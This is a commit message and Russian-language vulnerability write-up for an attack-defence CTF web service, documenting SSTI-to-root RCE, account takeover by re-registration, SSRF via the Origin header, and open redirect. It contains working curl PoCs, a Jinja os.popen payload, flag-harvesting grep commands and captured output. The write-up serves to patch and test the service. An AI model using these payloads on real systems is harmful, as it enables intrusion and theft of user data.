Разбор сервиса и все PoC — в services/rusgram/WRITEUP.md и VULNS.md. Каждая находка воспроизведена на живом стенде до патча и перепроверена после. content.py — V1 (RCE, крит) и V5: template_folder='files' совпадает с каталогом БД, поэтому render_template(path) с путём из URL рендерил файл пользователя как исходник Jinja-шаблона. Имя юзера выбирает атакующий: регистрируем `pwn.html`, кладём payload себе в first_name, дёргаем /db/users/pwn.html через публичный :38000 — RCE от root в контейнере, где смонтирован весь website/. Теперь рендерим только 4 реальные страницы. logic.py — V2 (захват аккаунта) и V3/V6 (SSRF/открытый редирект): register не проверял существование юзера, а database делал read-modify-write, так что повторная регистрация ПЕРЕЗАПИСЫВАЛА пароль, сохраняя msg и профиль: чужой аккаунт вместе с флагом и сломанный логин у чекера. Теперь 409. Location строился из заголовка Origin, а proxy ходил по нему серверсайд — чтение внутренней сети. Редирект стал фиксированным /login.html. database.py — снижает ущерб от V4: валидация имени юзера как имени файла, белый список полей, пароль можно только создать, но не перезаписать (смены пароля в сервисе нет), 400/404 вместо 500. proxy.py — defense in depth к V3: allow_redirects=False на ветке api/. V8: единая безопасная проверка сессии вместо 4 копий — кривая кука, отсутствие куки, несуществующий юзер и нечисловой img больше не роняют воркер в 500. Формат куки login||password и плейнтекстовые пароли осознанно НЕ трогали: чекер почти наверняка на них завязан. Тесты: services/rusgram/test_rusgram.py — SLA 16/16, SEC 21/21 на патче; на services_vulnerable та же секция SEC падает 12 раз. Сплойт собирает 0 флагов. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
348 lines
16 KiB
Markdown
348 lines
16 KiB
Markdown
# Rusgram — отчёт по уязвимостям
|
||
|
||
Все PoC ниже **отработаны на живом стенде** (`docker compose up` из этой папки),
|
||
флаги реально извлечены. Формат флага: `[A-Z0-9]{31}=`.
|
||
|
||
Стенд для проверки: жертва `victim_krmltc`, флаги в `msg` и `first_name`.
|
||
|
||
| # | Уязвимость | Класс | Порт | Крит |
|
||
|---|---|---|---|---|
|
||
| [V1](#v1) | SSTI → RCE от root через имя пользователя `*.html` | CWE-1336 | **38000** | 🔴 CRITICAL |
|
||
| [V2](#v2) | Перерегистрация чужого аккаунта = ATO без аутентификации | CWE-284 | **38000** | 🔴 CRITICAL |
|
||
| [V3](#v3) | SSRF: proxy серверсайд идёт по редиректу из заголовка `Origin` | CWE-918 | **38000** | 🔴 HIGH |
|
||
| [V4](#v4) | `database` без аутентификации опубликован наружу | CWE-306 | 38002 | 🔴 HIGH |
|
||
| [V5](#v5) | `content` наружу: чтение файла любого юзера без `.html` | CWE-306 | 38004 | 🟠 HIGH |
|
||
| [V6](#v6) | Открытый редирект через `Origin` | CWE-601 | 38000 | 🟡 MEDIUM |
|
||
| [V7](#v7) | Пароли в плейнтексте + неподписанная кука-сессия | CWE-256/565 | — | 🟡 MEDIUM |
|
||
| [V8](#v8) | Необработанные исключения → 500 (`split("||")`, `images/<bad>`) | CWE-248 | 38000 | 🟢 LOW |
|
||
|
||
Отрицательные проверки (протестированы, **не** воспроизводятся) — в конце.
|
||
|
||
---
|
||
|
||
<a name="v1"></a>
|
||
## V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на `.html` 🔴
|
||
|
||
**Где:** `content/content.py:45` + `proxy/proxy.py:19-21`
|
||
|
||
```python
|
||
# content.py
|
||
app = Flask(__name__, template_folder='files') # 'files' == том ./website
|
||
...
|
||
else:
|
||
return render_template(path) # path из URL
|
||
```
|
||
|
||
### Суть
|
||
|
||
`template_folder` узла content — это `files`, то есть **тот же самый том
|
||
`./website`, внутри которого лежит `db/users/<username>`**. Файл пользователя —
|
||
это данные, полностью подконтрольные атакующему, но `render_template()`
|
||
скармливает его Jinja как **исходник шаблона**.
|
||
|
||
Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy
|
||
пропускает в content только пути с расширением `.html`…
|
||
|
||
```python
|
||
ext = path.split('.')[-1]
|
||
if ext == "html":
|
||
resp = r.get(f"http://{content_node}/{path}?...")
|
||
```
|
||
|
||
…но **имя пользователя выбирает атакующий**. Регистрируем юзера с логином
|
||
`pwn.html` → его файл ложится в `files/db/users/pwn.html` → запрос
|
||
`GET /db/users/pwn.html` проходит фильтр расширения, попадает в `else`-ветку
|
||
`content.py` и рендерится как шаблон. Содержимое шаблона мы заранее записали
|
||
сами через `/api/update_personal`.
|
||
|
||
Autoescape тут не спасает: он экранирует **результат** выражения, но не мешает
|
||
Jinja это выражение **выполнить**.
|
||
|
||
### PoC (проверен)
|
||
|
||
```bash
|
||
BASE=http://TARGET:38000
|
||
|
||
# 1. регистрируем юзера, чьё имя оканчивается на .html
|
||
curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \
|
||
-d '{"login":"pwn.html","password":"p"}'
|
||
|
||
# 2. кладём Jinja-payload в своё же поле first_name
|
||
curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \
|
||
-H 'Cookie: session=pwn.html||p' \
|
||
-d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}'
|
||
|
||
# 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт
|
||
curl -s $BASE/db/users/pwn.html
|
||
```
|
||
|
||
Реальный вывод со стенда:
|
||
|
||
```
|
||
{"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),...
|
||
---
|
||
pwn.html
|
||
victim_krmltc
|
||
", "second_name": "x", "email": "x"}
|
||
```
|
||
|
||
**RCE от root** в контейнере content, где смонтирован весь `website/` —
|
||
то есть вся база всех пользователей.
|
||
|
||
### Сбор всех флагов одним запросом
|
||
|
||
```python
|
||
payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}"
|
||
```
|
||
|
||
Со стенда вернулось: `['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=']`
|
||
— оба посаженных флага, за один HTTP-запрос, без знания имён жертв
|
||
(`grep -r` сам обходит каталог).
|
||
|
||
### ⚠️ Важный нюанс эксплуатации: кэш Jinja
|
||
|
||
Flask вне debug-режима **не перечитывает шаблоны** (`auto_reload` выключен).
|
||
Как только `db/users/pwn.html` отрендерился первый раз, скомпилированная версия
|
||
кэшируется, и правки файла больше не подхватываются.
|
||
|
||
Практический вывод для сплойта: **на каждый раунд — свежее случайное имя юзера**,
|
||
и payload обязательно кладётся **до** первого запроса на рендер. В `sploit_rusgram.py`
|
||
это учтено.
|
||
|
||
---
|
||
|
||
<a name="v2"></a>
|
||
## V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴
|
||
|
||
**Где:** `logic/logic.py:23-33` + `database/database.py:22-33`
|
||
|
||
```python
|
||
# logic.register — никакой проверки существования
|
||
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})
|
||
|
||
# database.users POST — тоже никакой
|
||
if not os.path.exists(path):
|
||
Path(path).touch()
|
||
...
|
||
data[field] = request.json["value"] # read-modify-write
|
||
```
|
||
|
||
### Суть
|
||
|
||
`register` для существующего юзера — это **не ошибка, а перезапись пароля**.
|
||
Причём read-modify-write сохраняет все остальные поля: `msg`, `first_name` и
|
||
прочее **остаются на месте**. Атакующий получает 200 и валидную куку на чужой
|
||
аккаунт со всем его содержимым.
|
||
|
||
Это одновременно **кража флагов** и **саботаж**: у чекера ломается логин в
|
||
собственный аккаунт.
|
||
|
||
### PoC (проверен)
|
||
|
||
```bash
|
||
BASE=http://TARGET:38000
|
||
VICTIM=victim_krmltc
|
||
|
||
curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \
|
||
-d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}"
|
||
# → HTTP/1.1 200 OK
|
||
# → Set-Cookie: session=victim_krmltc||hacked123; Path=/
|
||
|
||
curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}='
|
||
```
|
||
|
||
Реальный вывод со стенда:
|
||
|
||
```
|
||
2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=
|
||
QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=
|
||
```
|
||
|
||
Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из
|
||
комментариев (V4) или из `ls` через V1.
|
||
|
||
---
|
||
|
||
<a name="v3"></a>
|
||
## V3 — SSRF: proxy серверсайд ходит по редиректу из `Origin` 🔴
|
||
|
||
**Где:** `logic/logic.py:41,55,65` + `proxy/proxy.py:28`
|
||
|
||
```python
|
||
# logic: Location строится из заголовка, который контролирует атакующий
|
||
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
|
||
|
||
# proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location
|
||
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
|
||
return resp.content, resp.status_code, resp.headers.items()
|
||
```
|
||
|
||
### Суть
|
||
|
||
Когда проверка пароля не проходит, logic отдаёт 302 на `Origin + "/login.html"`.
|
||
Proxy получает этот 302 и, поскольку `requests` по умолчанию следует редиректам,
|
||
**сам делает запрос на указанный URL из своего контейнера** — и возвращает тело
|
||
атакующему.
|
||
|
||
Хвост `/login.html` обрезается тривиально: заканчиваем `Origin` на `?x=`, и он
|
||
уезжает в query string.
|
||
|
||
Это самая неприятная из находок для защиты, потому что **работает даже если
|
||
закрыть порты 38001–38004**: proxy ходит во внутреннюю сеть за нас.
|
||
|
||
### PoC (проверен)
|
||
|
||
```bash
|
||
BASE=http://TARGET:38000
|
||
VICTIM=victim_krmltc
|
||
|
||
curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \
|
||
-H "Cookie: session=$VICTIM||WRONGPASS" \
|
||
-H "Origin: http://database:5002/users/$VICTIM/msg?x=" \
|
||
-d '{"msg":"x"}'
|
||
```
|
||
|
||
Реальный вывод со стенда:
|
||
|
||
```
|
||
{"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"}
|
||
```
|
||
|
||
Флаг из внутреннего database-узла — через один только публичный порт 38000.
|
||
|
||
Подтверждение самого 302 (напрямую в logic):
|
||
|
||
```
|
||
POST /send_msg Origin: https://evil.example
|
||
→ 302, Location: https://evil.example/login.html
|
||
```
|
||
|
||
Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) —
|
||
**на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.**
|
||
|
||
---
|
||
|
||
<a name="v4"></a>
|
||
## V4 — `database` без аутентификации опубликован наружу 🔴
|
||
|
||
**Где:** `docker-compose.yml` (`38002:5002`) + весь `database/database.py`
|
||
|
||
Узел database не имеет **ни одной** проверки доступа. Он опубликован на хосте.
|
||
|
||
### PoC (проверен)
|
||
|
||
```bash
|
||
D=http://TARGET:38002
|
||
curl -s $D/users/victim_krmltc/password # {"data":"hacked123","status":"ok"}
|
||
curl -s $D/users/victim_krmltc/msg # {"data":"2F2HOFY5DQ...","status":"ok"} ← ФЛАГ
|
||
curl -s $D/users/victim_krmltc/first_name # {"data":"QZHZAGZTFO...","status":"ok"} ← ФЛАГ
|
||
```
|
||
|
||
Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж):
|
||
|
||
```bash
|
||
curl -s -X POST $D/users/victim_krmltc/password \
|
||
-H 'Content-Type: application/json' -d '{"value":"OWNED"}' # → 200
|
||
```
|
||
|
||
**Энумерация имён** (без RCE): авторы комментариев отдаются в открытую.
|
||
|
||
```bash
|
||
for i in $(seq 1 16); do curl -s $D/images/$i; done # comments: [["username","text"],...]
|
||
```
|
||
|
||
---
|
||
|
||
<a name="v5"></a>
|
||
## V5 — `content` наружу: чтение файла любого юзера 🟠
|
||
|
||
**Где:** `docker-compose.yml` (`38004:5004`) + `content/content.py:45`
|
||
|
||
Напрямую в content ограничение на `.html` (которое накладывает proxy) отсутствует —
|
||
`render_template(path)` вызывается для любого пути.
|
||
|
||
### PoC (проверен)
|
||
|
||
```bash
|
||
curl -s http://TARGET:38004/db/users/victim_krmltc
|
||
```
|
||
|
||
Реальный вывод со стенда:
|
||
|
||
```
|
||
{"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=",
|
||
"first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...}
|
||
```
|
||
|
||
Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на `.html`.
|
||
|
||
---
|
||
|
||
<a name="v6"></a>
|
||
## V6 — Открытый редирект через `Origin` 🟡
|
||
|
||
Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический
|
||
open redirect на произвольный домен:
|
||
|
||
```
|
||
POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль,
|
||
Origin: https://evil.example
|
||
→ 302 Location: https://evil.example/login.html
|
||
```
|
||
|
||
Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем.
|
||
|
||
---
|
||
|
||
<a name="v7"></a>
|
||
## V7 — Плейнтекстовые пароли и неподписанная сессия 🟡
|
||
|
||
* `website/db/users/*` хранит `"password"` как есть — любое чтение файла (V1/V4/V5)
|
||
сразу даёт креды.
|
||
* Кука `session=<login>||<password>` не подписана, без `HttpOnly`/`Secure`/срока жизни,
|
||
и **гоняет пароль в открытом виде в каждом запросе**.
|
||
|
||
В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат
|
||
куки), поэтому в патче это осознанно **не** менялось — см. `PATCH.md`.
|
||
|
||
---
|
||
|
||
<a name="v8"></a>
|
||
## V8 — Необработанные исключения → 500 🟢
|
||
|
||
Проверено на стенде:
|
||
|
||
* `GET /` с кукой `session=a||b||c` → **500** (`ValueError: too many values to unpack`
|
||
в `split("||")`). Аналогично во всех четырёх ручках logic.
|
||
* `GET /images/0`, `/images/-1`, `/images/99`, `/images/abc` → **500**
|
||
(`FileNotFoundError`, файла нет).
|
||
* `POST /api/*` без куки `session` → **500** (`KeyError`).
|
||
* Запрос к несуществующему юзеру: `.json()["data"]` по 404-ответу → **500** (`KeyError`).
|
||
|
||
Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми
|
||
запросами. Плюс скрывает настоящие атаки в шуме.
|
||
|
||
---
|
||
|
||
## Отрицательные результаты (проверено — НЕ работает)
|
||
|
||
Чтобы команда не тратила время:
|
||
|
||
| Гипотеза | Результат |
|
||
|---|---|
|
||
| Path traversal в `static` (`/css/..%2f..%2fetc%2fpasswd.css`) | **404.** Конвертер `<name>` в Werkzeug не матчит слэши |
|
||
| Инъекция пути через `img_id` в `post_comment` (`../users/<victim>`) | **404** на database. Роут `<string:id>` не матчит многосегментные пути |
|
||
| Traversal через `username` в database (`..`, `%2f`) | Не матчится роутом / упирается в каталог |
|
||
| Traversal через `render_template` (`../../etc/passwd`) | Jinja `split_template_path` режет `..` |
|
||
| SSRF (V3) на внешний хост | 500 на стенде — в тестовой docker-сети нет egress. **На vulnbox проверить отдельно** |
|
||
|
||
---
|
||
|
||
## Приоритет патчей
|
||
|
||
1. **V1** — RCE, публичный порт. Чинить первым.
|
||
2. **V2** — ATO + саботаж чекера, публичный порт.
|
||
3. **V3** — SSRF, обходит закрытие портов.
|
||
4. **V4/V5** — закрыть публикацию внутренних портов (осторожно, см. `PATCH.md`).
|
||
5. **V8** — устойчивость, чтобы не терять SLA.
|